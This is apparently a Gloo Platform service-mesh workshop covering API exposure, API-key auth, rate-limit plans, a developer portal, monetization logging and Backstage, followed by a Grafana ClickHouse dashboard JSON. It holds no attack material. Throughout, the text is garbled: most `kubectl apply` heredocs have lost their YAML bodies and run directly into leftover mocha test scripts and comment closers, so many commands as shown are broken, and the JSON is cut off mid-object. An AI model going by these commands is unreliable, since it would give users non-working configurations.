2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"},"termsOfService":"https://istio.io/","title":"BookInfo + API","version":"1.0.0"},"openapi":"3.0.3","paths":{"/products":{"get":{"description":"List + all products available in the application with a minimum amount of information.","operationId":"getProducts","responses":{"200":{"content":{"application/json":{"schema":{"items":{"$ref":"#/components/schemas/Product"},"type":"array"}}},"description":"successful + operation"}},"summary":"List all products","tags":["product"]}},"/products/{id}":{"get":{"description":"Get + detailed information about an individual product with the given id.","operationId":"getProduct","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductDetails"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get individual + product","tags":["product"]}},"/products/{id}/ratings":{"get":{"description":"Get + ratings for a product, including stars and their color.","operationId":"getProductRatings","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductRatings"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get ratings + for a product","tags":["rating"]}},"/products/{id}/reviews":{"get":{"description":"Get + reviews for a product, including review text and possibly ratings information.","operationId":"getProductReviews","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductReviews"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get reviews + for a product","tags":["review"]}}},"servers":[{"url":"/api/v1"}],"tags":[{"description":"Information + about a product (in this case a book)","name":"product"},{"description":"Review + information for a product","name":"review"},{"description":"Rating information + for a product","name":"rating"}]}' + servedBy: + - destinationSelector: + port: + number: 9080 + selector: + cluster: cluster1 + name: productpage + namespace: bookinfo-frontends +``` + +Note that you can create the `APIDoc` manually to allow you: +- to provide the OpenAPI document as code +- to declare an API running outside of Kubernetes (`ExternalService`) +- to target a service running on a different cluster (`VirtualDestination`) +- ... + +We can now expose the API through Ingress Gateway using a `RouteTable`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the API without authentication", () => { + it('Checking text \'The Comedy of Errors\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', body: 'The Comedy of Errors', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +[{"id": 0, "title": "The Comedy of Errors", "descriptionHtml": "Wikipedia Summary: The Comedy of Errors is one of William Shakespeare's early plays. It is his shortest and one of his most farcical comedies, with a major part of the humour coming from slapstick and mistaken identity, in addition to puns and word play."}] +``` + +You generally want to secure the access. Let's use API keys for that. + +You need to create an `ExtAuthPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API unauthorized", () => { + it('Response code is 401', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', retCode: 401 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-unauthorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +The access is refused (401 response): + +```http +HTTP/2 401 +www-authenticate: API key is missing or invalid +date: Wed, 05 Apr 2023 08:13:11 GMT +server: istio-envoy +``` + +Let's create an API key for a user `user1`: + +```bash +export API_KEY_USER1=apikey1 +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API authorized", () => { + it('Response code is 200', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-authorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We'll see later that the API keys can be created on demand by the end user through the developer portal (and stored on Redis for better scalability). + +So, we've secured the access to our API, but you generally want to limit the usage of your API. + +We're going to create 3 usage plans (bronze, silver and gold). + +The user `user1` is a gold user (`gold` base64 is `Z29sZA==`). + +The `X-Solo-Plan` is created by the `ExtAuthPolicy` we have created earlier. + +Then, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/_GsECm06AgQ "Video Link") + + +You can also expose external APIs. + +Let's create an external service to define how to access the host [openlibrary.org](https://openlibrary.org/): + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("APIDoc has been created", () => { + it('APIDoc is present', () => helpers.k8sObjectIsPresent({ context: process.env.CLUSTER1, namespace: "bookinfo-frontends", k8sType: "apidoc", k8sObj: "openlibrary" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/apidoc-created.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Finally, you can create a new `RouteTable` to stitch together the `/search.json` path with the existing Bookinfo API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the openlibrary API", () => { + it('Checking text \'language\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v2/search.json?title=The%20Comedy%20of%20Errors&fields=language&limit=1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], body: 'language', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/access-openlibrary-api.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get something like that: + +```json,nocopy +{ + "numFound": 202, + "start": 0, + "numFoundExact": true, + "docs": [ + { + "language": [ + "ger", + "und", + "eng", + "tur", + "ita", + "fre", + "tsw", + "heb", + "spa", + "nor", + "slo", + "chi", + "mul", + "esp", + "dut", + "fin" + ] + } + ], + "num_found": 202, + "q": "", + "offset": null +} +``` + +Note we've also exposed the `/authors/{olid}.json` path to demonstrate how we can use regular expressions to capture path parameters. + +You can try it out with the following command: + +```shell +curl -k -H "api-key: ${API_KEY_USER1}" "https://cluster1-bookinfo.example.com/api/bookinfo/v2/authors/OL23919A.json" +``` + + + +## Lab 14 - Expose the dev portal backend +[VIDEO LINK](https://youtu.be/mfXww6udYFs "Video Link") + + +Now that your API has been exposed securely and our plans defined, you probably want to advertise it through a developer portal. + +Two components are serving this purpose: +- the Gloo Platform portal backend which provides an API +- the Gloo Platform portal frontend which consumes this API + +In this lab, we're going to setup the Gloo Platform portal backend. + +The Gateway team should create a parent `RouteTable` for the portal. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'portal config not found\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: 'portal config not found', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-backend/tests/access-portal-api-no-auth-no-config.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +{"message":"portal config not found for host: ***"} +``` + +You can see that no portal configuration has been found. + +We'll create it later. + + + +## Lab 15 - Deploy and expose the dev portal frontend + + +The developer frontend is provided as a fully functional template to allow you to customize it based on your own requirements. + + + +Let's deploy it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal frontend without authentication", () => { + it('Checking text \'Developer Portal\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/index.html', body: 'Developer Portal', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-frontend/tests/access-portal-frontend-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=300 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We need to secure the access to the portal frontend. + +First, you need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl --context ${CLUSTER1} apply -f - < + +Note that The `ExtAuthPolicy` is enforced on both the `portal-frontend` and `portal-server` `RouteTables`. + +Finally, you need to create a CORS Policy to allow the portal frontend to send API calls the `bookinfo` API. + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/fipCEZqijcQ "Video Link") + + +In the previous steps, we've used Kubernetes secrets to store API keys and we've created them manually. + +In this steps, we're going to configure the developer portal to allow the user to create their API keys themselves and to store them on Redis (for better scalability and to support the multicluster use case). + +You need to update the `ExtAuthPolicy` (to remove the `k8sSecretApikeyStorage` block): + +```bash +kubectl --context ${CLUSTER1} apply -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'null\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: '[]', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-self-service/tests/access-portal-api-no-auth-empty.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Users will authenticate on the frontends using OIDC and get access to specific APIs and plans based on the claims they'll have in the returned JWT token. + +You need to create a `PortalGroup` object to define these rules: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + +If you click on the `LOGIN` button on the top right corner, you'll be redirected to keycloak and should be able to auth with the user `user1` and the password `password`. + +Now, if you click on the `VIEW APIS` button, you should see the `Bookinfo REST API`. + +![Dev Portal APIs](images/steps/dev-portal-self-service/apis.png) + +Then, you can open the drop down menu by clicking on `user1` on the top right corner and select `API Keys`. + +![Dev Portal API keys](images/steps/dev-portal-self-service/api-keys.png) + +As you can see, you have access to the `Gold` plan and can create an API key for it. Click on the `+ADD KEY` button. + +Give it a name and click on `GENERATE KEY`. + +![Dev Portal API key](images/steps/dev-portal-self-service/api-key.png) + +Copy the key. If you don't do that, you won't be able to see it again. You'll need to create a new one. + +You can now use the key to try out the API. + +You'll need to use the `Swagger View` and then to click on the `Authorize` button to paste your API key. + +Before we continue, let's update the API_KEY_USER1 variable with its current value: + +```bash +export API_KEY_USER1=$(curl -k -s -X POST -H 'Content-Type: application/json' -d '{"usagePlan": "gold", "apiKeyName": "key1"}' -H "Cookie: ${USER1_TOKEN}" "https://cluster1-portal.example.com/portal-server/v1/api-keys" | jq -r '.apiKey') +echo API key: $API_KEY_USER1 +``` + + + + + +## Lab 17 - Dev portal monetization +[VIDEO LINK](https://youtu.be/VTvQ7YQi2eA "Video Link") + + +The recommended way to monetize your API is to leverage the usage plans we've defined in the previous labs. + +In that case, you don't need to measure how many calls are sent by each user. + +But if you requires fine grained monetization, we can deliver this as well. + +The `portalMetadata` section of the `RouteTable` we've created previously is used to add some metadata in the access logs. + +You can configure the access logs to take advantage of the metadata: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Monetization is working", () => { + it('Response contains all the required monetization fields', () => { + const response = helpers.getOutputForCommand({ command: `curl -k -H \"api-key: ${process.env.API_KEY_USER1}\" https://cluster1-bookinfo.example.com/api/bookinfo/v1` }); + const output = JSON.parse(helpers.getOutputForCommand({ command: `kubectl --context ${process.env.CLUSTER1} -n istio-gateways logs -l istio=ingressgateway --tail 1` })); + expect(output.usage_plan).to.equals("gold"); + expect(output.api_product_id).to.equals("bookinfo"); + expect(output.user_id).to.equals("user1@example.com"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-monetization/tests/monetization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 3m mocha ./test.js --timeout 10000 --retries=150 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + + +## Lab 18 - Deploy Backstage with the backend plugin + + +To allow the Backstage backend plugin to communicate with the Gloo Mesh Portal Server through the Istio Ingress Gateway, we need to create an `ExternalService` and an `ExternalEndpoint` objects. + +```bash +kubectl apply --context ${CLUSTER1} -f - <= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "orange", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 3, + "x": 16, + "y": 1 + }, + "id": 84, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "bars", + "fillOpacity": 17, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 4, + "pointSize": 15, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 7, + "x": 0, + "y": 5 + }, + "id": 197, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + } + }, + "decimals": 0, + "mappings": [], + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 4, + "x": 7, + "y": 5 + }, + "id": 2, + "interval": "1h", + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "pieType": "pie", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "API Product distribution", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "piechart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 5 + }, + "id": 196, + "options": { + "dedupStrategy": "none", + "enableLogDetails": true, + "prettifyLogMessage": false, + "showCommonLabels": false, + "showLabels": false, + "showTime": false, + "sortOrder": "Descending", + "wrapLogMessage": false + }, + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 2, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n*\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp)", + "refId": "A", + "selectedFormat": 2 + } + ], + "title": "Recent requests", + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Body": true, + "ServiceName": true, + "SeverityNumber": true, + "SeverityText": true, + "SpanId": true, + "TraceFlags": true, + "TraceId": true + }, + "indexByName": {}, + "renameByName": {} + } + } + ], + "type": "logs" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 67, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 3, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "bytes" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 11, + "x": 0, + "y": 12 + }, + "id": 201, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['bytes_sent'] as bytes_sent,\n $__timeInterval(Timestamp) AS time,\n count(*) AS bytes\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n bytes_sent,\n time\nORDER BY \n time ASC\n", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Bytes sent over time", + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 12 + }, + "id": 132, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + 